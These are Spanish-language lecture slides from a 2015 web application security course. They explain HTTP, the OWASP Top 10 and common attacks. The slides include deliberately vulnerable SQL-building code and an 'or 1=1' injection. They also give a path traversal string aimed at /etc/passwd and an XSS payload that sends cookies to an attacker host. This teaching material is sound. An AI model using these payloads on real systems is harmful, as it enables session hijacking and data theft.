SEGURIDAD WEB Maestría en TICs 2015 Énfasis Auditoría y Seguridad Informática Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA
Contenido Aplicaciones web. Características y funcionamiento. Vulnerabilidades en las aplicaciones web y ataques Vulnerabilidades en navegadores (parte II, otra presentación) Conclusiones 2
1. Aplicaciones web. Características y funcionamiento 3
Qué es una aplicación web? Es aquella aplicación que utilizan la infraestructura web para su funcionamiento, en particular consideramos la que utiliza el protocolo HTTP (HyperText Transfer Protocol - RFC 2616) para la comunicación con sus usuarios. La web se ha convertido en el medio natural para desplegar servicios de software. Existen actualmente cerca de 874 millones de sitios web según Netcraft (www.netcraft.com). (ago/2015), en el mismo mes del 201 3 se tenía 716 millones, es decir hubo un crecimiento de más de 150 millones de sitios en dos años!! Y con 34,3% de la población mundial con acceso a Internet (2400 millones de personas!!) Cuántos de estos sitios poseen al menos una aplicación web? 4
Beneficios de las aplicaciones web Utiliza un protocolo liviano(http) y stateless (sin conexión) El front-end es algo común en cualquier computadora o dispositivo móvil: un navegador. Actualmente, los navegadores poseen mucha funcionalidad La tecnología y los lenguajes de desarrollo de las aplicaciones son relativamente simples y fáciles de conseguir. 5
6
Funcionalidades de la aplicaciones web(2) Además de Internet, las organizaciones están adoptando este esquema para soporte de sus actividades de negocio: Aplicaciones para manejo administrativo: ejemplo software ERP. Administración de infraestructura como servidores, estaciones de trabajo, máquinas virtuales, mail & web servers, etc. Software colaborativo: workflow, documentos, etc. Aplicaciones usuales de oficina (planilla, proc. de texto, etc): Google apps, MS Office live, etc. 7
Arquitectura web : Esquema básico Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80 8
Arquitectura web : Funcionamiento Todas las transacciones HTTP siguen el mismo formato. Cada request(cliente) y cada response(servidor) tiene tres partes: la línea del request (que indica el método HTTP) o response, la cabecera y el cuerpo 9
Arquitectura web: Componentes Métodos HTTP: los principales GET y POST. Otros: HEAD, TRACE, OPTIONS, DELETE. URL (uniform resource locator): identificador único para un recurso web. El formato es el siguiente: protocol: //hostname[:port]/[path/]file?[param=value] Envío de parámetros: en el URL query string, en los cookies, en el cuerpo usando POST. Las aplicaciones pueden ser construidas con una variedad de tecnologías: Lenguajes de scripts como: PHP, VBScript, Perl, etc Plataformas de aplicaciones web : APS.NET, Java, Ruby on rails, Web servers: Apache, IIS, Oracle, NCSA, IBM, etc Base de datos: Oracle, PostgreSQL, MySQL, etc Otros componentes de back-end: sistema de archivos, servicios web, servicios de directorio, etc. 10
Arquitectura web Métodos HTTP básicos Método Descripción Body? GET Solicitar un documento del servidor No HEAD Solicitar solo el header del servidor No POST Enviar datos al servidor para su procesamiento Si PUT Guardar el cuerpo del request en el servidor Si TRACE OPTIONS Mostrar la traza del mensaje a través de los proxys al server Determina que métodos están habilitados en el servidor DELETE Borra un documento del servidor No No No 11
Arquitectura web 12
Arquitectura web: funcionalidad del lado cliente HTML4 y HTML5 HyperLinks Forms CSS JavaScript VBScript DOM Ajax JSON Extensiones al browser: Java applets, controles ActiveX, objetos Flash, objetos Silverlight, etc. 13
Arquitectura web: otras cuestiones Estado y Sesiones Esquemas de codificación (ejemplo del carácter = ) URL %3d Unicode %u003d ó \u003d HTML = ó = ó &eq; Base64 PQ== Hex 3D Acceso remoto de clientes y serialización Adobe Flex y AMF (Action Message Format) MS Silverligth and WCF (Windows Communication Foundation) Objetos java serializados 14
2. Vulnerabilidades en las aplicaciones web y ataques 15
Qué es una vulnerabilidad? Es una debilidad o hueco de seguridad en la aplicación/software que puede ser aprovechada o explotada de forma malintencionada por un atacante y violar así la seguridad del sistema, ó afectar su disponibilidad. 16
Porqué las aplicaciones quedan vulnerables? Falta de aplicación de una metodología que incluya a la seguridad como parte del proceso de desarrollo de software. Software Development Lifecycle SDL (Microsoft) SSE-CMM(ISO/IEC 21827) (SystemSecurityEngineering-CMM) SAMM (Software Assurance Maturity Model (OWASP) Software Security Framework (Citigal & Fortify ) 17
Porqué las aplicaciones quedan vulnerables? (2) Conciencia sobre seguridad poco desarrollada. Desarrollo con ajustadas restricciones de tiempo y recursos. Rápida evolución de las amenazas. Creciente demanda de nuevas funcionalidades. Ajuste de las aplicaciones en funcionamiento (o en etapas finales de desarrollo) a las nuevas tecnologías. Desarrollo personalizado. La simplicidad engañosa de las herramientas. 18
Ejemplo de vulnerabilidades de una aplicación utilizada usualmente Aplicación: Joomla! (www.joomla.org) Fuente: www.secunia.com (Secunia) Número de vulnerabilidades para Joomla! (2005-2012): 525 2012: 27 2011: 82 2010: 236 2009: 66 Fuente : cve.mitre.org Número de vulnerabilidades para Joomla! (2005-2012): 687 2012: 7 2011: 21 2010: 236 2009: 67 Otras fuentes de consulta de vulnerabilidades: www.securityfocos.com (Symantec) osvdb.org (Open Source Vulnerability Database) www.securitytracker.com ( SecurityGlobal.net) www.webappsec.org (Web Hacking Incident Database) (exclusivo de aplicaciones web) xssed.com (Vulnerabilidades XSS) (lista un poco más de 45500 vulnerabilidades XSS) Common Vulnerabilities and Exposures (CVE) Desde 1999 a 2012, más del 50% corresponde a vulnerabilidades web 19
Cómo evitar las vulnerabilidades? Hacer lo correcto desde el principio Pero No es posible 100% de seguridad Muchas veces utilizamos software de terceros, del que tal vez desconozcamos su calidad. Tenemos que convivir con sistemas en funcionamiento Si es posible mejorar el software, debe hacerse! Es el foco del curso Es probable que tengamos que aumentar la seguridad desde el exterior Ejemplo: Esquemas defensivos de tipo caja negra 20
Razones para atacar una aplicación web Ubicuidad Existencia de técnicas simples de hackeo Anonimato Pasar por alto las protecciones tradicionales (firewalls) Facilidad de código propio Seguridad inmadura Constantes cambios a las aplicaciones Dinero Cuestiones políticas 21
Qué componentes son atacables? Plataforma web Aplicación web Base de datos Cliente web Comunicación Disponibilidad (DoS) 22
Proceso del ataque Descubrir (profiling) Examinar el entorno Tipo y versión del SO, web server, web app server, etc (por ejemplo usando nmap) Examinar la aplicación Examinar la estructura, tipo de lenguaje, tipo de objetos Generar y examinar errores Encontrar información oculta Definición del target Mecanismo de login Campos de entrada Manejo de sesiones Infraestructura.. 23
Ataques web Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80 GET /login.pl?user=http://hak.com/.. El firewall no puede contrarrestar ataques que vienen en el contenido de los paquetes HTTP (que es puerto abierto) 24
Principales ataques web Open Web Application Security Project (www.owasp.org) Organización sin fines de lucro que se dedica a ayudar a entender y mejorar la seguridad de las aplicaciones y servicios web. Lo hace a través de varios proyectos como guías de desarrollo para diferentes lenguajes de programación, software de testing por seguridad, librerías seguras, guías de buenas prácticas, etc. Entre uno de sus proyectos se encuentra la producción de la lista de las diez vulnerabilidades más importantes de las aplicaciones web. El último reporte es del 2013. 25
OWASP top 10 (2013) (https://www.owasp.org/index.php/category:owasp_top_ten_project) 1. Inyección (notablemente SQL Injection). 2. Pérdida de autenticación y gestión de sesiones. 3. Secuencia de Comandos en Sitios Cruzados (XSS). 4. Referencia Directa Insegura a objetos. 5. Configuración de Seguridad Incorrecta. 6. Exposición de datos sensibles (incluye almacenamiento criptográfico inseguro) 7. Ausencia de control de acceso funciones (incluye falla de restricción de acceso a URL de 2010) 8. Falsificación de Peticiones en Sitios Cruzados (CSRF). 9. Uso de componentes con vulnerabilidades conocidas (nuevo 2013) 10. Redirecciones y reenvíos no validados. === OWASP 2010 - Falla de restricción de acceso a URL de 2010 - Almacenamiento criptográfico inseguro - Defectuosa configuración de seguridad 26
Ejemplo de ataques más comunes SQL Injection Permite a los atacantes retransmitir código a través de la aplicación web a otro sistema vía SQL. Las consecuencias: obtención de información privada, saltar el esquema de autenticación, corromper datos, ejecución de comandos del sistema operativo, etc 27
SQL Injection ejemplo 1 Considerar el siguiente código perl No validado $query = new CGI; $username = $query->param( username ); $password = $query->param( password ); $sql_command = select * from users where username= $username and password= $password ; $sth = $dbh->prepare($sql_command) Un atacante podría aprovechar esta vulnerabilidad agregando por ejemplo or 1=1 en el campo password de forma que la consulta quedaría: select * from users where username= juan and password= or 1=1 28
SQL Injection ejemplo 2 En PHP $sql = "SELECT * FROM table WHERE id = '". $_REQUEST['id ]. " "; En Java String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getparameter("userid") + "' and user_password = '" + req.getparameter("pwd") +"'"; 29
SQL Injection Otras palabras claves a detectar Exec XP_ Exec SP_ OpenRowSet Execute inmediate UNION SELECT INSERT DELETE UPDATE 30
Ejemplo de ataques comunes Secuencia de Comandos en Sitios Cruzados (XSS) La aplicación puede ser utilizada como mecanismo para transportar un ataque al usuario final con un navegador. El navegador del usuario no tiene forma de conocer que el script es malicioso Puede acceder a cookies, tokens de sesión o cualquier otra información sensible guardada en el navegador. Pueden ser de tipo reflejados o permanentes. 31
XSS - Ejemplo Considerar el siguiente código Java (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; El atacante puede modificar el parámetro CC en el navegador '><script>document.location='http://www.attacker.com/cgibin/cookie.cgi? foo='+document.cookie</script>'. 32
XSS Reflejado - Ejemplo Usuario hace login El usuario solicita el URL malicioso al servidor El server responde con el script del atacante 1 3 4 7 El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario 5 El atacante envía un URL malicioso al usuario 2 6 El navegador del usuario envía el dato al atacante
XSS Guardado - Ejemplo Usuario hace login El atacante envía una respuesta conteniendo un script malicioso El usuario ve la respuesta del atacante El server responde con el script del atacante 3 2 4 7 1 El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario 5 6 El navegador del usuario envía el dato al atacante
Otros ataques Referencia insegura y directa a objetos Ocurre cuando un programador expone una referencia hacia un objeto interno de la aplicación tales como un archivo, directorio, registro de la base de datos, o clave como un URL o un parámetro de formulario web Ejemplo 1: <select name="language"> <option value="fr">français</option></select> require_once($_request['language ]."lang.php"); Este código puede ser atacado suministrando una cadena como../../../../etc/passwd%00 y acceder a archivos del sistema (fijarse que se inyectó el byte nulo %00 y así evitar que se añada otra cadena, lang.php en este caso) 35
Otros ataques Referencia insegura y directa a objetos Ejemplo 2: Un atacante puede explotar la vulnerabilidad probando con varios valores para una clave que está expuesta por la aplicación. int cartid = Integer.parseInt( request.getparameter("cartid" )); String query = "SELECT * FROM table WHERE cartid=" + cartid; 36
Qué hacer contra los ataques? Monitorizar Conocer que esta ocurriendo (buenas herramientas de S.O.) Detectar Conocer cuando existe un ataque (Intrusión Detection System) Prevenir Detener el ataque antes que logre su objetivo (Intrusión Prevention System) Evaluar Descubrir los problemas antes que los atacantes: Test de penetración Análisis estático/dinámico 37
Bibliografía D. Stuttard & M. Pinto. The Web application Hacker s Handbook, 2nd. Edition. Wiley Press. 2011. M. Shema. Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Syngress Press. Elsevier. 2012. M. Zalewski. The tangled Web. A guide to securing Modern Web Applications. 2012. 38